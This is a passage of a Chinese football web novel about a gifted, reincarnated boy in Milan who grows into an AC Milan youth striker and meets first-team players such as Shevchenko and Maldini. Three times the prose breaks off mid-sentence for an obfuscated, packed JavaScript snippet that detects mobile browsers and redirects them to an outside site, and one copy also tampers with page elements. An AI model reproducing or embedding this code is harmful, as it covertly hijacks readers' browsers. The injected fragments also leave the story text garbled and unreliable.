《[足球]米兰永恒》 1. 第 1 章 1993年，日后会成为意大利国宝级女歌手的“劳拉·罗西尼”（Laura Pausini）发表了歌曲《La Solitudine》（孤独）一举成名，夺得了圣雷莫音乐节新秀组冠军。 歌曲的男主marco有一头金发，所以路德维希的母亲卡特琳娜有时会哼着歌摸他的头发，叫他“金发男孩”。 marco是德国男孩常用的名字，“Ludwig”和它比起来就太古板了，因为在路德维希出生前一年，他的祖父去世了，所以父亲尤尔根决定给儿子这个名字纪念亲人。 不过现在意大利人对金发男孩的热情稍微退却了，全世界和意大利所有的目光都集中在了即将到来的94年美国世界杯，大街小巷几乎所有人都在讨论罗伯特·巴乔和保罗·马尔蒂尼的的名字，几个月后他们会作为主力代表意大利出战。 足球是米兰的一部分，90年意大利世界杯期间，圣西罗球场被翻新，所有米兰人都涌入崭新的球场看自己心爱的球队踢球，但是最后意大利输给西德，意大利人只能看着马特乌斯举起了那座金光璀璨的大力神杯，把它从意大利带走了。 虽然美国是个陌生的地方，不少人怀疑地说“那群美国人真的会踢足球吗？”，但电视上的足球嘉宾们已经开始为意大利造势了，兴高采烈地宣布“意大利是不可战胜的！” 九十年代的意甲被称为“小世界杯”，全世界著名的球星都在亚平宁踢球，意大利人在家门口看着球星们踢球，自然能骄傲地宣称意大利足球是最伟大的。更何况在全世界所有球星中也可以称得上是最好的罗伯特·巴乔和保罗·马尔蒂尼都是意大利人，只要看着他们，没人会觉得意大利不会把大力神杯带回家。 但这一切目前都和路德维希没有关系。 路德维希·维托里奥·阿涅尔今年11岁，几个月前他被选入斯卡拉歌剧院，剧院正在排练《图兰朵》，需要一群小歌剧演员们伴唱《茉莉花》。 每周他都要穿着定制的小礼服，被母亲打扮得像个小王子一样送进剧院，即使是在聚集了米兰所有漂亮小孩的歌剧院里，路德维希依然是最吸引人目光的那一个。 在意大利很少有这样明亮的金发，大部分欧洲小孩随着年纪增长，小时候耀眼的金发都会逐渐暗淡，最后变成棕褐色，而路德维希的金发非常纯粹，似乎还没有进入褪色期——或者没有褪色期，他显然不是个本地的意大利小孩，不管是外表还是姓氏来说。 唯一能看出他意大利血统的只有如同母亲一样浓密的金色长发，羊毛一样打着卷，柔顺地搭在脑后，露出他好像发光的脸，阳光下几乎白到透明，能看清肌肤上细小的绒毛和湖水绿的眼睛。 而在所有漂亮小孩里，他也是最会唱歌的那一个。本来这种专业合唱团是不会对外招新人的，但是那天路德维希在母亲的画廊里哼着《La Solitudine》，卡特琳娜忙着接待客人忙得团团转，他就坐在一把高脚椅上晃荡着腿，“火车带走他的金发，”他轻轻地唱，孩子的声音那样清澈，像是白鸟穿过熙熙攘攘的人群一样飞远了。 然后一个男人突然出现在路德维希的面前，他甚至给路德维希递了自己的名片：“嗨，金发男孩，你有兴趣来我的合唱团吗？” 他是斯卡拉歌剧院的经理，保罗·加洛，目前正在组织排练《图兰朵》，刚好需要一群小孩来为自己唱歌。 本来长得就像是上帝会喜欢的小天使，现在唱歌也像是几百年前会在教堂里给上帝唱赞美诗的小孩，加洛简直是看见了一颗歌剧界冉冉升起的新星，虽然十岁起步已经有些晚了，但是以路德维希的天赋这都不是问题。 在排练结束后，他特意找机会和路德维希说话，希望能让他正式加入歌剧团开始专业训练： “路德维希，你是天才，你应该接受专业训练，我向你保证，你会是下一个——” 金发男孩礼貌地打断了他：“抱歉，加洛先生，但是我对唱歌没有兴趣。” 他脸上带着困扰，一点也没有被歌剧界的重要人物肯定天赋的激动，如果换成其他小孩现在恐怕都要忍不住尖叫出声，激动到脸红，父母也会迫不及待地答应，还得要昭告各方亲戚说我们家出了个天才啦。 但路德维希只是觉得困扰，因为被加洛耽误了时间他可能赶不上回家的那趟电车了。 在保罗·加洛的震惊和自我怀疑中，他收拾完东西，背上自己的书包，一一和工作人员们告别，自然地出门走了。 四年前为了迎接90年世界杯，米兰新开了一条地铁线缓解人流拥堵问题，但是地铁站依然是米兰最堵的地方之一，不过路德维希回家并不坐地铁。 米兰是保存着世界上最完备的有轨电车的城市之一，随着地铁的开通，追求方便和速度的白领们已经不坐电车了，这些橘黄色小车现在主要的乘客们是上了年纪的老人和外地的游客，他们总是有大把的时间可以花在这些慢悠悠的小车上的。 小孩们也有充足的时间，但是本地人早就看腻了米兰的一切，只有路德维希这个奇怪的孩子如此热衷于有轨电车，他熟练地上了车，找到一个空着的靠窗的位置。 他推开了车窗。 周三的夕阳时分，米兰笼罩在彩色的霞光中，这是一座古老美丽的城市，但又如此年轻活力。在米兰大教堂的钟声里，橘黄色电车叮叮当当地开始跑动起来，一路上既会经过几个世纪前兴建的教堂和市政厅，也会路过有漂亮玻璃窗的百货大厦和亮起霓虹灯的酒吧夜店。 路德维希从书包里拿出Walkman，这是德国生产的随身听，金属外壳上刻着“made for precision”（为了精确而生），是去年尤尔根送给儿子的生日礼物。 随身听里是卡特琳娜帮忙下载的斯卡拉歌剧院录音的《蝴蝶夫人》，路德维希双手交叠趴在车窗上，绿色的眼睛安静地看着沿途的或忙碌或悠闲的人们，电车晃晃荡荡，他的头发也在肩膀上起起落落，好像夕阳撒下的碎金。 广场有人在喂鸽子，另一边歌手漫不经心地弹着吉他，情侣们挽着手路过维纳斯喷泉，女孩们都打扮得青春靓丽，男士抱着花渴望得到心上人的青睐，而游客们在排着队闭着眼认真许愿，用硬币交换神明的一个愿望。 “Un bel dì, vedremo……”耳朵里的歌声如此唱道。 ——美好的一天。 无论从哪个方面来看，路德维希的人生都是如此完美，他外表优越，家庭美满，生活富足，无论是老师还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442983|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是同学都喜欢这个德国名字的意大利小孩，就算是一时兴起去参加的合唱团，他也在里面闪闪发光，即使他之前从未接受过专业练习——而这样的事情并不是第一次发生了。 路德维希的母亲卡特琳娜就像是每一个天性浪漫的意大利人一样，热爱歌剧和艺术。她经营着一家画廊，在路德维希还小的时候，经常在画室里度过一天，母亲忙于工作，好奇的他会涂抹颜料自娱自乐，在那时卡特琳娜就发现了自己孩子在艺术上的天赋，毫无疑问她的lulu属于天才。 父亲尤尔根也说lulu是个天才。 在lulu小时候，他就靠自己修理好了一个坏掉的收音机，因为电台节目马上就要开始，而父亲还没回家，所以他自己动手了。那个时候他才五岁还是六岁？他只是看过尤尔根曾经修理过报废的电器而已。 简直像是上帝握着他的手告诉路德维希应该怎么做，修好的收音机没有任何问题。 家里人会叫路德维希“lulu”，好像在亲昵地呼唤一只小羊。因为“阿涅尔”是法语中“Agunus”羊羔的变体，在上帝所有的羊群里，他就是上帝最宠爱的那只小羊。 但是这只小羊并不快乐。 他今年十一岁了，但他没有像母亲希望的那样成为一个小画家，也没有继承父亲的职业变成个小工程师，相反，在他意识到自己对于这一切都轻而易举地掌握之后，便立刻地抛弃了它们。 路德维希的人生，也可以叫做不断挥霍着自己的天赋的人生——他不断地尝试新的领域，又不断地展示着自己的天赋，上帝好像格外偏爱这只小羊，给他打开了所有窗户一样，等到他回家，他的父母知道了加洛的邀请后，他们就知道路德维希即将抛弃的新爱好是唱歌了。 说实话，这实在是很古怪的行为。 但这对父母有自己的理解： “既然上帝给了lulu天赋，那lulu自然有选择的权利。” 是上帝给了我天赋吗？路德维希不知道，因为一直跟在他身边的神明从未说过自己的身份。 “神明就是神明，人类真是古怪，为什么一定要起一个名称呢，”神明如此说道，“上帝、真主还是佛祖？人类都这样叫神明吗，随便你怎么称呼我。” “我会遵守诺言，接下来的十辈子，我会亲自看顾你。” 上一辈子的事情，现在回想起来已经基本记不清了，毕竟上一世他缠绵病榻，从出生起就没有离开过病房，所以在生命终结时也没有不舍，只是无尽的厌倦。 但是，神明却在那个时候突然出现了。 神明说，因为祂的失误才让他的一生都在病房中度过，作为补偿，接下来他的十辈子，神明都将亲自守护他。 好了人类，向我许愿吧，神明说，你想要得到怎样的人生？ 神明：”不管怎样的要求我都会满足你，你会得到十全十美的命运。” 他不知道这是梦，还是死前的幻觉，他只是略微想了想，便这样回答： “如果这一切是真的，那请让我下一辈子当一个普通人吧。” “神明大人，请满足我的愿望。” 病房外的世界是怎样的呢？将死的人心想，这是他一辈子都没弄懂的问题。 2. 第 2 章 “lulu是谁？”舍普琴科问。 这是2000年3月18日，米兰内洛的球场上笼罩在一股懒散的气氛中。阳光懒洋洋地照在草地上，舍普琴科忍不住在草地上把自己摊开，一边活动着脚踝，一边偷听队友闲聊。 AC米兰目前联赛排名第一，虽然拉齐奥和尤文图斯也在紧追不舍，不过一直紧绷着难免让人心累，助理教练们站在球场边打着哈欠，装作看不见有人在偷懒，于是老油条们都光明正大地围在一起聊些八卦之类的东西。 舍普琴科的意大利语还不算好，词汇都集中在足球方面为了听懂主教练的战术，所以这会只能听着安布罗西尼比划着手反复念叨着一个名字，一群人起哄让他更听不清了。 安布罗西尼和他年纪相似，他们两常在更衣室里勾肩搭背，很快就成了朋友。 舍普琴科去年进入AC米兰，AC米兰的更衣室氛围在队长马尔蒂尼的管理下对新人相当照顾，刚来不懂意大利语的时候，舍普琴科还借住在马尔蒂尼家，每天上班都是队长带着他一起来。 此刻马尔蒂尼也在说笑的人群里，正微笑看着安布罗西尼兴高采烈地比着小鸡手。同样是去年加入AC米兰的加图索是意大利人，他坐在舍普琴科旁边没有语言障碍，于是听得津津有味，手上掩耳盗铃的拉伸也停下来，耳朵都要拉长了钻进人群中心了。 舍普琴科不满地晃他的肩膀，力气大得像是在掐一块猪肉。加图索瞪大眼，一巴掌拍了回去，绝不惯着手欠的队友。二十多岁的足球运动员和七八岁的小孩一样都是猫嫌狗厌的生物，路过看见一块石子都要踹一脚，何况还是讨人嫌的队友，两个人立刻你来我往的扭打起来。 舍普琴科大声嚷嚷着：“lulu是谁新交的女朋友吗？” 队友的意大利语又急又快，似乎在说什么好笑的事情，安布罗西尼说话的声音都变调了，听懂的人纷纷夸张地拍着大腿哈哈大笑起来。加图索也忍不住笑了，却是因为舍普琴科的话，很显然乌克兰人不关注意大利的青年队，不然不会说出这么搞笑的话。 “舍瓦你这个笑话太好笑了，我之后一定要说给lulu听。”他对着满头雾水的舍普琴科说，单方面原谅他的手欠了。 正巧安布罗西尼也听见了舍普琴科说话，立刻解释起来：“lulu不是我的女朋友！” “去你的马西莫，你哪来这么漂亮的女朋友啊你。”科斯塔库塔一巴掌拍在胡说八道的安布罗西尼屁股上，后者捂着屁股立刻跳起来，“比利！”青训小将惊慌失措，活像个被调戏了的黄花大小子。 只有马尔蒂尼转头跟舍普琴科说lulu不是谁的女朋友，那是米兰青训营的球员，你不认识他，他今年十七岁，球踢得好极了。 “嗯，长得也好看极了，”阿尔贝蒂尼补充说道，“你们都是金头发，他也踢前锋。” 十七岁，米兰青训，金头发的天才前锋。 舍普琴科脑子里关于宫斗的那根弦忽然隐隐约约地跳了一下，在异国他乡务工的外来人总是会有些敏感的。 他才来米兰不到半年，刚学的意大利语一个冬歇期过去又退化了大半，前情后续他都不清楚，理智上知道这不可能，但还是下意识地脱口而出： “哦哦——所以他要来一线队了是吗？” “天呐，舍瓦，lulu才17岁，”马尔蒂尼有点想摸一下队友的额头看他是不是发烧了，“什么时候ac米兰需要未成年上场比赛了。” 加图索抱着肩膀抖了抖，脑子里下意识地想象了AC米兰战绩得差成什么样，才需要一个17岁小孩上场进球。这场景太可怕了，这得一线队都和死了差不多才行吧。 安布罗西尼不满意了：“嘿，我就是18岁进的一线队，lulu怎么就不可以了。”他也是米兰青训出身，95年的时候就进入一线队。 而舍普琴科耿直地回答：“我正式踢球就这么大啊。” 在他的青训俱乐部基辅迪纳摩，舍普琴科就是小将顶天立地，自己踢出来了成绩，然后被意甲豪门AC米兰看上，带来了意大利。 只有像AC米兰或者尤文图斯这种豪门球队才会不缺球员，年轻的球员表现再好也最多被夸几句未来可期，想要破格提拔到一线队是会被媒体报道球队明天就破产，让球迷大骂高层有病，上了赛场还要被对手嘲笑娃娃兵。 但是小俱乐部就没这么讲究了，孩子踢得好当然得站出去负重前行，不然等着俱乐部一起输没裤衩吗？ 何况身价是要踢出来的，足球世界从来偏爱天才年少成名，谁等你大器晚成，上了年纪的足球运动员就像家里年老色衰的黄脸婆，就算你温柔体贴还生了几个奖杯，每年还是得在俱乐部的脸色下讨生活。 AC米兰的前锋里，比埃尔霍夫、乔治·维阿和马尔科·西蒙尼都已经是三旬大汉，这个年纪的前锋不知道哪天就骨头一脆在球场上上了担架下场，就算曾经再多浓情蜜意，生了许多奖牌，AC米兰也得给他们找替代者了。 长得水灵灵的舍普琴科就这么水灵灵地来了AC米兰，金子到哪都会发光，上半个赛季的发挥直接闪耀意甲，目前半程攻入19球领跑金靴榜。 “等等，等等，马西莫，”知晓内情的加图索露出了智慧的眼神，“我记得那年你不是光坐替补席，然后第二年就租借出去了吗？” 他一拍手，回忆了一番，更加肯定了。因为同一年安布罗西尼和他也进入了U18国家队，前者在一线队没有出场时间，实际上还是在青年队打拼，第二年AC米兰为了不耽误他，把他租借去了维琴察。 “里诺！”心虚的安布罗西尼大喊，扑上去捂加图索的嘴。加图索也不惯着他，也是一巴掌呼上去，两个人又开始打打闹闹。 “lulu跟我不一样！” “但他年纪比你小啊，”加图索说，“万一受伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是他拍着胸口跟舍普琴科保证：“舍瓦你想认识lulu？那你下个星期跟我一起看青训营吧！” 一线队里除了安布罗西尼，队长马尔蒂尼、副队长科斯塔库塔还有阿尔贝蒂尼都是米兰青训营出来的球员，他们其实也会定期去青训营转转，干些给小球迷签签名，鼓励鼓励他们之类的事情。 队伍里新来的前锋想去青训营看？大大的好事。马尔蒂尼从不要求队友也去米兰青训营体会AC米兰传承的足球精神，但如果是队友主动要求就不一样了，尤其还是舍普琴科这种前途大好的前锋，如果能让他喜欢上AC米兰，把这里当成自己真正的家就最好了。 马尔蒂尼干脆说道：“不用下个星期，明天我们一起去。” “啊？”乌克兰人迷茫地摸着脑袋。 舍普琴科就这样稀里糊涂地答应了和队长副队长一起参观米兰青训营的事。 ——参观那个出现在队友嘴里的“lulu”。 3. 第 3 章 回去之后，舍普琴科立刻给自己青训俱乐部基辅迪那摩的好队友卡拉泽打了跨国电话，询问对方自己该怎么办。基辅和米兰只有一个小时的时差，卡拉泽倒是没有被打扰到，反而很高兴看见自己的好朋友在米兰很受欢迎。 他鼓励舍普琴科这是好事，说明马尔蒂尼队长很看重你，你要把握住机会！ 机会，这什么机会，舍普琴科思来想去，还是不知道该怎么表现，毕竟他第一次离开家乡球队就直接进了豪门俱乐部，虽不至于和林妹妹一样“步步留心，时时在意，唯恐被耻笑了去”，但也担心自己像个土包子似的，被人觉得基辅来的人都没教养。 他的意大利语现在也还是说的不好，口音虽然没有重到听不懂，但是说急了就直接冒出家乡话了，队友热情喊他去夜店玩，人家姑娘都嫌弃他说话像个傻子，不肯和他说话。 “所以说还是要先练好意大利语吧……”卡拉泽听了也发愁，但他也没经验，他是格鲁吉亚人，又在基辅踢球，如果说乌克兰是乡下地方，那他岂不是野人来了，90%的足球运动员都不认识他老家。 两人讨论到半夜，总结无数经验，最后得出： 见机行事。 于是第二天舍普琴科提前了两个小时到了米兰内洛。 AC米兰各级别青训队其实和一线队一样都在米兰内洛训练，只是区域不同，而且时间也不一样。不是所有的青训队员都能走上职业道路，如果到了16岁还没踢出点声响，青训教练都会委婉劝退了，小球员们还能继续回去读书，给未来找个出路。 一线队今天休息，而青训队今天开始训练。 但是舍普琴科来太早了，而且他又不认识路，幸好保安认识他这张脸，虽然满头雾水不知道当家射手休息日来球场做什么，还是给他放进了米兰内洛。 他站在不熟悉的球场上懵懵地不知道该做什么，给马尔蒂尼打电话当然不可能，只好脑子里拼命复习着卡拉泽告诉他的豪门俱乐部生存二三事，被冷风吹得在球场不停跺脚。 只有脚下的烂草地给了他熟悉感，和圣西罗一模一样的感受，让他感受到了一丝欣慰。 在他抱着胳膊跺着脚，像个弹簧似的在草地上蹦跶的时候，忽然有人在背后叫了他的名字。 “……Shevchenke?” “是Shevchenko。”舍普琴科下意识回答。 在意大利很少有人能读对他的姓氏，舍普琴科已经习惯了队友们奇奇怪怪的发音，但是这个声音和队友媒体们或滑稽或急促的声音都不同，语气那么轻，又那么认真，舍普琴科几乎能想象出主人皱着眉头苦恼地念出这个乌克兰姓氏的样子。 舍普琴科回过头，一个少年站在他的背后，身上穿着红黑条纹的米兰球衣，宽大的球衣套在他的身上显得整个人纤细极了，像株树苗似的嫩生生地立在清晨的冷风里。风里他及肩的金发散开了，露出湖水绿的眼睛。 不需要任何话，任何介绍，舍普琴科知道他一定就是“lulu”。十七岁的、金头发的、属于米兰的天才小前锋。 “Buongiorno。”“lulu”温柔地说。 在这句自然的“早安”里，舍普琴科的世界开始旋转，卡拉泽的叮嘱，球场上的意气风发和万人追捧的欢呼声都远去了。 一瞬间那个推开更衣室的大门和所有人介绍自己的乡下小球员仿佛又出现了，他局促又不安，但表面上强装着镇定用自己临时学的几句意大利语跟队友问好，不能被看轻，这是所有离家的孩子必须要学会的最重要的一节课。 “Bu、Buon……Доброгоранку!”舍普琴科忽然忘记意大利语该怎么说，好像他过去半年的学习就在这一秒里全部都从他的脑子里消失。他结结巴巴地开口，一片茫然里居然从嘴巴里蹦出来了乌克兰语。 路德维希被逗笑了。 他没想到会在这里看见舍普琴科，这位一线队的头号射手，目前意甲的超新星。 在此之前路德维希只是从新闻报纸和安布罗西尼或者马尔蒂尼的嘴里听说过他，但是舍普琴科的意语水平居然还这么差么，他有些惊讶，心里觉得或许这位射手并不像马西莫那样彻底融入了球队，至少不该开口还是一句意大利语都说不好。 他担心舍普琴科会觉得不好意思，于是装作不在意的样子，故意跟着重复了一遍他的话——他猜这是乌克兰语的“早安”。 “Доброгоранку？”他好奇地重复，问道，“是这样吗？” “……太轻了，舌头要更用力一点。”舍普琴科纠正路德维希的发音，好像他是个专业的乌克兰语老师一样。 乌克兰语使用西里尔字母，“p”在乌克兰语里发硬颤音，而意大利人一般说话是轻声地颤抖，路德维希自然地跟舍普琴科抱怨自己的小苦恼，乌克兰语发音对他来说有点困难。 “我可以叫你舍瓦吗，就像其他人一样。”路德维希微笑着请求舍普琴科的同意。 “啊，嗯，好的。” 舍普琴科庆幸lulu似乎没发现自己刚才的出神，他松了口气，又昂起头挺起胸，亦步亦趋地跟着lulu往球场外走去。 还没到青训球员训练的时间，草地空荡荡的，教练们也没有来，路德维希于是让舍普琴科跟着他去室内球场。 亚平宁半岛的清晨，风吹过带来了凉爽，还没到一年中最炎热的时候，意大利的夏天会有无数的游客从全球各地飞来享受这里的日光和大海，而现在离夏天并不遥远，意甲的球员们已经都换上了夏季球衣。路德维希的小臂像是探出水面的芦苇，纤细却并不瘦弱，笔直修长，短短的袖口垂在手肘上方，一晃一晃。 “lulu，他们都这么叫你吗？”舍普琴科仗着高了一截，光明正大地盯着路德维希看，“我还不知道你的名字——lulu简直像个女孩名，我还弄错了，以为你是马西莫或者谁的女朋友。” 他忽然想到昨天加图索跟他说的那句话，要把“女朋友”这个笑话给lulu说，于是赶紧又补上一句。他缓过神，骨子里的传自毛子血统的无畏和勇猛开始蠢蠢欲动。真正的勇士是不能把弱点交给别人的。 “路德维希·阿涅尔，我的朋友都叫我lulu。” “嗯，噢，啊……”路德维希回头笑，他怎么那么爱笑，让虚假的勇士又开始脑袋晕晕了。 看上去舍瓦真的在一线队过得不好，路德维希心想，他的意大利语说的真烂。 不管是一线队还是青年队，其实都不会在早上八点来米兰内洛，路德维希遇见舍普琴科完全是个意外，他提前来米兰内洛是因为青年队的教练要跟他讨论一下他的出场问题。 1998年18岁的迈克尔·欧文在法国世界杯一球成名，而在一年前他就已经加入利物浦一线队效力，英格兰的大英帝星闪耀世界，发疯的英媒叫嚣全世界，还有谁，还有谁比得上他们的追风少年？虽然世界杯最闪耀的巨星是齐达内，但没人会忘记这个意气风发的金发英格兰少年。 家里确实没有天才可以吹嘘的媒体也就只能羡慕嫉妒地附和这群岛国佬，只有意大利人可以矜持地夸夸“这个欧文确实不错，以后可以来意甲踢球”然后起承转合“不过还是不如我们家的路德维希”。 虽然路德维希比欧文小了四岁，在吃青春饭的足坛似乎已经差了辈，但谁让他出道早呢，在欧文上世界杯之前他们都是放在一起比较。 1996年，13岁的路德维希·阿涅尔成为奥地利U17欧青赛最小的参赛球员，那年意大利赢得冠军，他赢得金靴。 而这只是他开始足球训练的第二年，媒体们迫不及待地把这个天才球员的一切都公布在大众面前，全世界不仅英格兰喜欢少年天才，意大利也喜欢，何况路德维希还是意甲豪门AC米兰的小球员。 在足球夏令营的第一场比赛里，第一次接触足球的路德维希·阿涅尔打入了17球，虽然他最后输了，但是夏令营的教练显然不是瞎子，都说足球天才就像是原石，天生不凡，精心打磨后就能绽放光彩，但路德维希的天赋哪是原石呢，简直像是太阳一样普照众生，谁不让这个孩子去踢足球谁就是背叛了足球之神！ 然后路德维希就开始了自己一路切瓜砍菜的足球生涯。 再然后，U17的国家队教练就这么轻描淡写地让他进入了国青队，让他和一群大了自己三四岁的少年们一起踢球。 如果路德维希没踢出个金靴，或许教练会被骂成意大利的国贼，拔苗助长，这是要毁了意大利的未来吗，亲米兰的媒体闹得沸反盈天，但是路德维希本人倒是快快乐乐地收拾行李跑了，众人痛心疾首结果再一抬头怎么意大利就冠军，我们AC米兰的小天才就这么金靴啦？ ——名帅啊名帅，温格算什么，你才是真的慧眼识人啊！天才就得发光，意大利国内还是太小了，得让整个欧洲都看看我们意大利的新鲜小天才啊！ 然后意大利就和英格兰掐了起来，开始互扯头花：你家欧文/路德维希算什么，欧洲第一天才是我英格兰/意大利的！ 喷着喷着，欧文进一线队了，小孩哥英勇救主；路德维希在欧青赛大杀四方，常驻U17，真是如同天上降魔主，既生路德维希，何生他他他啊。 不过欧文世界杯一球成名后，路德维希就有些比不上了——世界杯永远是最好的，英格兰媒体自认已经无需争辩高低，于是心里便生出些宽容来，说话也就不刻薄了，赛后采访罕见没有追着路德维希指指点点今天怎么没有进五六七八个球啊，是不是不行了，你看你就是不如欧文……而是颇为温和地问了些俱乐部的问题。 俱乐部问题嘛，老生常谈，球员们表忠心的好话题，虽然这个英国记者心里是打算抛砖引玉，不管路德维希说什么都要春秋笔法一番，写“惊！意大利天才小将好感英超俱乐部”这种东西的。 “为什么要加入AC米兰？”路德维希重复着念了一遍，用那张漂亮到仿佛在发光的脸，睫毛眨啊眨，活泼自然地说出了堪称地震的话，“其实我爸爸是拜仁和国米的粉丝，加入米兰是因为我抽中了夏令营的邀请函，所以我就去试试了。” 记者大惊之下，只有职业本能继续运转，“如果抽中的是国米的话，你也会去对吗？”他激动地几乎要把麦克风怼进路德维希的脸上了。 “也许？”路德维希困扰地用手隔开了一些麦克风，依然站在原地，无数的闪光灯打在他的金色的头发上，他是字面意义上的在发光，然后在脑海里想了想这个问题，“安德烈亚就是国米的粉丝，人生有另一种可能也挺好的。” 他倒是自然地说完了，但是在场的记者和摄影几乎都要尖叫了，他的队友和教练也要尖叫，天呐，这傻子知道自己在说什么吗？！U17领队像是泥头车一样创进采访大军，表情紧绷着挡住所有人，“采访到此结束了！谢谢大家”，新闻官立刻大喊。 皮尔洛趁机跑上台，拉住路德维希的手跳下临时采访台，只有最佳球员才能接受采访，赞助商的展板围着一小块角落，好像水流里的礁石。 皮尔洛把小前锋的手攥得紧紧的，媒体们围着他们，像是老饕闻到顶级食材，每个人都想扑到行走的爆炸新闻上。 不过这群人更像是色鬼见到绝世美女，趁机全来揩油了，皮尔洛的肩膀被谁又推又揉，还有人趁机摸他脸，他知道这人肯定是打算摸lulu，他不会让这个家伙得逞的……他憋着气，觉得自己像是骑士般英勇无畏，命中注定要带着被围困的公主突出重围。 但是路德维希这傻子边跑边笑：“哈哈哈哈，安德烈亚，你肩膀怎么漏出来了！” 好吧，前锋都是傻子，皮尔洛早该知道的，他怎么会是骑士，他就是一个倒霉的家伙遇见了一头豪猪！ “……算了，你肯定不知道自己说了什么。”身材纤细的中场沉默了一会才说话，深深地叹了一口气。 比赛结束的球场依然吵吵闹闹，球迷们的欢呼声透过墙壁传到了球员通道。漂亮的金毛豪猪有一双绿色的眼睛，笑眯眯地看着皮尔洛。偶尔有工作人员路过，路德维希跟他们一一打招呼，也不管自己认识不认识，一声声地摆手喊“ciao”。 “因为每一次见面都是不一样的，所以要认真告别。”皮尔洛曾经问过路德维希，后者这么回答他。 皮尔洛比路德维希大了四岁，但站在文雅一点说是身材匀称，脱了衣服往米兰博物馆一站就可以当阿波罗，直接一点就是壮得跟头小牛犊似的路德维希身边还是有些瘦弱了。 或许也可以说是路德维希发育太好了，他要是从小是个小豆芽的话，教练就算从市政厅顶楼跳下去也不会让他跨级打比赛的。 就像现在，一够上最低标准，路德维希就被扒拉上了U21，才分开一年又和皮尔洛做队友了。 过了一会，皮尔洛又说话了：“你想和我做队友？”天呐，AC米兰不会杀了我吧，他心想，因为勾引lulu去国米？但是上帝啊，我根本在国米都打不上比赛，lulu过来找别的中场吗？ “我们以后肯定会在国家队做队友的，你就等着我给你传球吧。”思来想去，皮尔洛最后严肃地说。 完全不懂媒体和自己的中场在激动纠结什么的路德维希只是感到困惑。不过这种时候只要微笑就好了，皮尔洛和媒体们会飞速地逻辑自洽的——都怪AC米兰到处勾/引小男孩！ 国际米兰的球迷叫得格外大声，路德维希本该属于他们的！于是米兰姐妹花又开始扯头花，都是米兰俱乐部，你的球员怎么不算我的球员，只要勾搭成功那就是我的本事。路德维希没有拒绝国米，他爱我，他需要我拯救！给米兰粉丝气得火冒三丈。 罗森内里一边和内拉祖里吵一边骂俱乐部：是尸体吗会喘气吗？！家里的小孩都要跟人跑了，还不让小孩上场比赛？——不比赛怎么签合同，不签合同人家拐走了怎么办！ 于是青训教练火急火燎地找路德维希来说话了。 其实俱乐部倒不会以为路德维希真跟人跑了，这毕竟是从小看到大的小前锋，从小让教练幸福到站在球场上抱着手就感动哭的天使，不过上帝是公平的，虽然给了路德维希完美的天赋，漂亮的脸蛋，幸福的家庭以及一切，但还是给他关了一扇窗：这孩子脑子有点傻。 具体表现为总是阳光开朗地说出很了不得的话，试图用无敌的笑容照耀全世界。 所以路德维希在赛后采访的话不用当真，因为没有人可以追上他的脑回路，谁能知道迷宫里的兔子往哪跑呢？至少会被脸欺骗的媒体不行。 不过英媒已经从路德维希转会国际造谣到意大利前锋不否认转会利物浦了。 什么，路德维希根本没提过利物浦，哪不对了，没提到就是不否认啊，此报鼎鼎大名《太阳板》，行不更名坐不改姓，为什么利物浦，因为欧文和路德维希有私情！ 斩钉截铁，有理有据，读者一边骂一边掏钱包付钱，私情？什么私情？于是眼睛瞪大，手不由自主地翻开第二页了。 不明内里的罗森内里急得上火，然后俱乐部不得不出来哄哄球迷,国际米兰？不可能的啦，我们米兰人怎么会去隔壁，米兰的天可是红黑色的——但是莫拉蒂他是个疯/子啊! 无法反驳，这位主席可是违背了祖宗的传统，在崇尚防守的意甲热爱进攻，贝卢斯科尼喜欢双前锋打攻势足球，人之常情，可以理解，但莫拉蒂恨不得场上十个人都是前锋，最好门将也上去抡一脚。 想必十多年后他肯定对德国门将诺伊尔相见恨晚，也会在门卫大爹宽大的胸怀里幸福地枕着脑袋吧。 “所以，lulu你有什么想法吗？”青训教练摸着秃头，叹了口气，“如果想要租借的话，一直有俱乐部在联系我们，也许你愿意看看？” “我不能上一线队吗？迈克尔——欧文就是这个年纪上场的，难道我比他差吗？” “当然不，lulu,你是我们的骄傲！” 教练——弗朗切斯科·桑托罗急得要从椅子上跳起来了，事实上他就是那个在足球夏令营里对路德维希惊为天人的教练。 好的教练肯定都去带青训了，只有他这种不上不下的才会跑去带兴趣夏令营，发掘路德维希后他也顺利升职，如今在青训营里也算作个名人了，好多小孩都渴望被他慧眼识人一下，也变成个沧海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赛季刚开始其实就有人说要把路德维希扒拉来一线队，他嗯嗯/啊/啊糊弄过去，问得急了就说你主教练我主教练？于是拖到现在，不让路德维希上一线队还有些维护自己的尊严的意味在了，不过最近高层又在隐隐约约地暗示了，他从善如流，行啊，成绩稳定了就让他来首秀吧。 首秀完了就给我出去租借，看看天才的成色如何，不要像那个皮尔洛一样，国青队也是天才中场，怎么踢意甲也三四年了还没什么名堂啊。 据说贝卢斯科尼气得砸了自己最喜欢的一块表，加利亚尼都震惊了，虽然他一向致力于打击马尔蒂尼本土帮，让米兰管理符合现代公司化，不要像个家庭作坊一样，但扎切罗尼的言论还是过于离谱了。 